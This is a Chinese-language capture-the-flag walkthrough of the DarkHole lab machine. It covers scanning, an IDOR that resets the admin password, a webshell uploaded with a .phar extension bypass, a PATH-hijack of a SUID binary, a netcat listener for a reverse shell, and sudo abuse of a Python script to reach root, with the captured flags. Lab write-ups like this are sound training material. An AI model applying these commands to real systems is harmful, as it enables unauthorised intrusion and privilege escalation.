前期准备
1 | 下载链接: |
主机发现
通过使用在win11上的fscan扫描,知道了靶机的详细位置
为192.168.128.139。
端口扫描
使用nmap进行tcp扫描
1 | nmap -sT -T4 192.168.128.139 |
发现只开放了22和80端口。
目录扫描
那么使用dirsearch爆破目录
1 | python dirsearch.py -u http://192.168.128.139/ |
发现在config下有一个目录表,但是想要访问database.php却是一片空白。
在/upload/下有一张照片。
发现没有什么异常,应该是彩蛋。
去主页注册一个账户,发现进入页面只有这样的选项。
一个是修改资料,一个是修改密码。
但是发现此时的url为:
1 | http://192.168.128.139/dashboard.php?id=2 |
修改id=1
但是通过修改密码抓包,可以发现数据包中带有额外的id字样,将post数据包中的id改为1
修改成功,已经把管理员账户admin的密码改为123456了。登录管理员账户,发现多了文件上传功能。
获得webshell
尝试直接上传php文件,会发现被阻止了。
然后简单的进行了替换,后缀改为php3就可以上传成功了。
但是遗憾的发现php3没有解析,所以上传了也没有什么用,这里困住了很久。看了网上的wp是将后缀改为phar,就可以上传成功并且成功解析。
提权
通过拿到webshell输入命令:
1 | cat /etc/passwd | grep "/bin/bash" |
可以知道有三个用户。 root,darkhole,john。
进入john的目录/home/john
,发现
但是很多东西都因为权限访问不了,所以只能想办法提权。
使用命令
1 | find / -perm -u=s -type f 2>/dev/null |
发现其中有pkexec。但是实际测试中,发现靶机没有make命令,所以该方法应该没有效果。
然后看到同为john目录下的toto文件。利用toto suid提权
运行./toto后,发现只是改变了uid,但是其余没变。
这个时候涉及到了新知识,环境变量提权。
https://blog.csdn.net/qq_50854790/article/details/120941341
大致就是输入以下命令。
1 | echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH |
为什么要这样输入呢,我的理解是,因为./toto文件执行的命令其实就是john身份执行的id命令。
然后就尝试利用这个特性,在本地编辑一个新的id文件,写入/bin/bash,给shell。然后将文件路径写入到原有环境变量前面,这样在使用id命令的时候就会先读我们新写的id命令。(相当于覆盖了原本的id命令),从而得到shell。
但是我在蚁剑中试了很多次,发现并没有起作用,找了很久原因,感觉是因为蚁剑模拟终端的问题,所以在做这一步前需要先反弹shell到kali。
新建一个1.sh,写入以下命令:
1 |
|
kali进行监听
1 | nc -lvvp 8888 |
之后再一次执行上面的命令。
提权成功
现在已经是john了。接下来查看user.txt和password,分别得到第一个flag。DarkHole{You_Can_DO_it}
和john的密码root123
接下来直接使用kali登录john账户。
提权至root权限
拿到靶机john用户后,想办法提升至root权限,成功拿下靶机。首先使用sudo-l
命令
可以知道下面的file.py文件时具有sudo权限的。
查看file文件发现是空的。这时候写入命令就好。
1 | echo 'import os;os.system("/bin/bash")' > file.py |
使用python3进行执行,成功获得root权限,接下来在/root目录下可以找到另外一个flag:
DarkHole{You_Are_Legend}
。